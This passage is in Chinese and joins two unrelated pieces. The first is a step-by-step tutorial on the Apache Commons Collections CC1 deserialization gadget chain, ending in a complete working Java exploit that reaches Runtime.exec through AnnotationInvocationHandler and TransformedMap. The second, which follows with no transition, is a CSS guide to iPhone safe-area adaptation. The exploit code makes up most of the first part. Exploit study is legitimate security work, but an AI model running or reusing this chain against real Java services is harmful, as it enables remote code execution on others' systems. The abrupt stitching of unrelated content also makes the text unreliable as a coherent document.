    public static void main(String[] args) throws Exception{
     Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
            Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
            new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);
      
            }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

关键代码就是

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
            Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
            new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);
链式调用
1. 第一个 InvokerTransformer 是用来获取Runtime 类的 getRuntime 方法对象。它调用 getMethod 来实现这一点,返回的是一个 java.lang.reflect.Method 对象。
2. 第二个 InvokerTransformer 需要这个Method对象来调用getRuntim 方法。由于 getRuntime 是一个静态方法,所以它的调用不需要实例对象,因此第二个 InvokerTransformer 的目标对象是 null(不需要实例),但它需要第一个 InvokerTransformer 返回的 Method对象来执行调用。
3. 第三个 InvokerTransformer 使用从第二个 InvokerTransformer 获取的 Runtime 实例来执行 exec 方法。这个 exec 方法需要一个字符串参数来指定要执行的命令。

这种编码方式实际上是一种"链式调用",每个环节都依赖前一个环节的结果。

因为一个一个调用太麻烦了,所以我们刚开始埋下的伏笔,可以直接解决这种问题,那就是ChainedTransformer类

这里的意思就是,可以把需要调用的方法全部写进去,然后进行一个递归的调用

就是这样,其实就是给刚才那三条链放进来做一个递归调用,省劲儿

Transformer[] transformers = new Transformer[]{
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"})
            };

现在的POC是

import com.sun.xml.internal.ws.api.model.MEP;

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
    Transformer[] transformers = new Transformer[]{
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            chainedTransformer.transform(Runtime.class);
             }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

可以看到,可以成功命令执行

然后我们将解除注释,将其中的decorate的第三个参数改为chainedTransformer

HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);

但是我们现在肯定是执行不了的,因为if判断,可能没进去,这里看到果然不行,第二个是setValue的对象无法控制


下断点调试

这个地方就是我们传入的那个type,就是注解那个Override.class

这个地方获取注解的成员变量,但是其实这里没有值

这里发现,查找以后是空的,没有,所以就不会继续往下走,就出来了

所以这里压根儿没走到我们想要的setValue方法

所以我们就需要找一个有成员方法的class,注解,同时我们的数组名字还要改成成员方法的名字

我们之前发现在注释Target里面有一个成员方法

修改完再尝试,发现还是没进去,还是null

为什么会这样,我们继续往下看,我们这里传的字符串叫做key,但是现在它获取不到,因为Target这个注解里只有value这个参数,没有key,所以查找不到

所以将我们的exp改成value,我门在试一遍

我们继续调试,这里它需要get,get的值是value,这里我们看到,这里应该可以获取到,因为Target里面有value这个值的。而且下面的if判断也不是空了,证明进来了,底下这个if也能获取到了


底下这个if主要判断能不能进行强转,但是这里强转不了,所以是可以继续往下走的,然后我们走到了setValue,这里我们只要能够控制最后就可以命令执行了


我们继续跟进去、跟、跟、跟

熟悉吗?这就是我们之前说的那个TransformerdMap类中的checkSetValue方法中的valueTransformer的transform方法,执行命令最后一个点

这里就是我们之前定义好的ChainedTransformer

这个形式,实际上就是

chainedTransformer.transform(Runtime.class);
valueTransformer.transform(value);这两句一样

我们现在只需要将图中的value改成get.class即可

因为获取对象,value就是AnnotationTypeMismatchExceptionProxy

这里我们就想到了刚开始我们看到的另一个类,叫做ConstantTransformer,这个类的特点就是,这个类的特点就是,不管接受什么输入,都返回自己的值,这个意思就是虽然最后的那个对象我们控制不了。

最后的点就是这里的transform,调用ConstantTransformer里的transform,就可以从ConstantTransformer里的transform入手,把之前那个对象AnnotationTypeMismatchExceptionProxy改过来。

现在我们来理一下这条链

我们调用了TransformedMap的transformMap方法

这里调用了ConstantTransformer里的transform方法,也就是把输入的value改成了Runtime.class,后面在进行一些调用,最后成功执行

我们现在运行一下尝试,成功执行

最终的exp如下

import com.sun.xml.internal.ws.api.model.MEP;

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
    Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//            chainedTransformer.transform(Runtime.class);
              //valueTransformer.transform(value);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationinvocationhandlerConstructor.setAccessible(true);
        Object o = annotationinvocationhandlerConstructor.newInstance(Target.class,transformedmap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

前言

什么是安全区域?

自从苹果推出了惊艳的
iPhone X
,智能手机界就正式步入了全面屏的新纪元。然而,这一革新也带来了一个特别的问题——那就是屏幕顶部的“刘海”和底部的“黑条”区域。这些区域犹如手机的“神秘面纱”,遮挡了一部分屏幕,给开发者带来了新的挑战。

Android似乎对iPhone的设计情有独钟,纷纷效仿这种全面屏的潮流。于是,越来越多的Android手机也开始有了这个安全区域的概念。

在这个背景下,移动端安全区域适配变得尤为重要。开发者们需要巧妙地调整应用的布局和界面,确保内容不会被这些特殊区域遮挡,同时保持应用的美观和易用性。

安全区域(safe area)

安全区域定义为视图中未被导航栏、选项卡栏、工具栏或视图控制器可能提供的其他视图覆盖的区域。

如上图所示,安全区域为中间蓝色部分,也就是说我们在页面布局时应该保证页面内容在蓝色安全区域内。

所以对于这类机型,你如果不特殊处理,那么它将会是这样的:

这样就会导致底部输入框的交互受影响

网页布局方式(viewport-fit)

在处理安全区域之前,我们需要先来了解
viewport-fit
属性,这是解决问题的关键。

iOS带来问题的同时也带来了解决问题的方法,为了适配 iPhoneX等全面屏机型 对现有
viewport meta
标签进行了扩展,用于设置视觉视口的大小来控制裁剪区域。

用法

<meta name="viewport" content="width=device-width,initial-scale=1, user-scalable=0, viewport-fit=cover">

属性值

该属性包含三个值:

  • auto
    :该值不会影响初始布局视口,并且整个网页都是可见的。 UA 在视口之外绘制的内容是未定义的。它可以是画布的背景颜色,或者 UA 认为合适的任何其他颜色。(默认值,与contain表现一致)
  • contain
    :初始布局视口和视觉视口设置为设备显示屏中内接的最大矩形。 UA 在视口之外绘制的内容是未定义的。它可以是画布的背景颜色,或者 UA 认为合适的任何其他颜色。
  • cover
    :初始布局视口和视觉视口设置为设备物理屏幕的外接矩形。

区别

在非矩形显示器上(比如手表)设置视口边界框的大小时,我们必须考虑以下因素:

  • 由于视口边界框的面积大于显示器的面积而导致的剪切区域
  • 视口边界框与显示区域之间的间隙

contain

当使用
viewport-fit: contain
时,初始视口将应用于显示器的最大内接矩形。

cover

当使用
viewport-fit: cover
时,初始视口将应用于显示器的外接矩形。

env

为了解决安全区域问题,iOS 11 新增了一个新的 CSS 函数
env()
和四个预定义的环境变量

  • safe-area-inset-left
    :安全区域距离左边边界距离

  • safe-area-inset-right
    :安全区域距离右边边界距离

  • safe-area-inset-top
    :安全区域距离顶部边界距离

  • safe-area-inset-bottom
    :安全区域距离底部边界距离

iOS 11 中提供的 env() 函数名为 constant()。从 Safari 技术预览版 41 和 iOS 11.2 beta 开始,constant() 已被删除并替换为 env()。如有必要,您可以使用 CSS 后备机制来支持这两个版本,但以后应该更喜欢使用 env()。 —— 来自webkit文档

上面的意思是从iOS12开始不再支持使用
constant
函数,所以为了兼容处理,我们应该这样写:

body {
  padding-bottom: constant(safe-area-inset-bottom); /* 兼容 iOS < 11.2 */
  padding-bottom: env(safe-area-inset-bottom); /* 兼容 iOS >= 11.2 */
}

使用该函数的前提是必须设置
meta
标签
viewport-fit=cover
,并且对于不支持 env() 的浏览器,浏览器将会忽略它。

适配安全区域

第一步:

修改页面布局方式

<meta name="viewport" content="width=device-width,initial-scale=1, user-scalable=0, viewport-fit=cover">

第二步:

底部适配

.keyboard_foot {
    padding-bottom: constant(safe-area-inset-bottom);
    padding-bottom: env(safe-area-inset-bottom);
}

这样安全区域问题就解决了!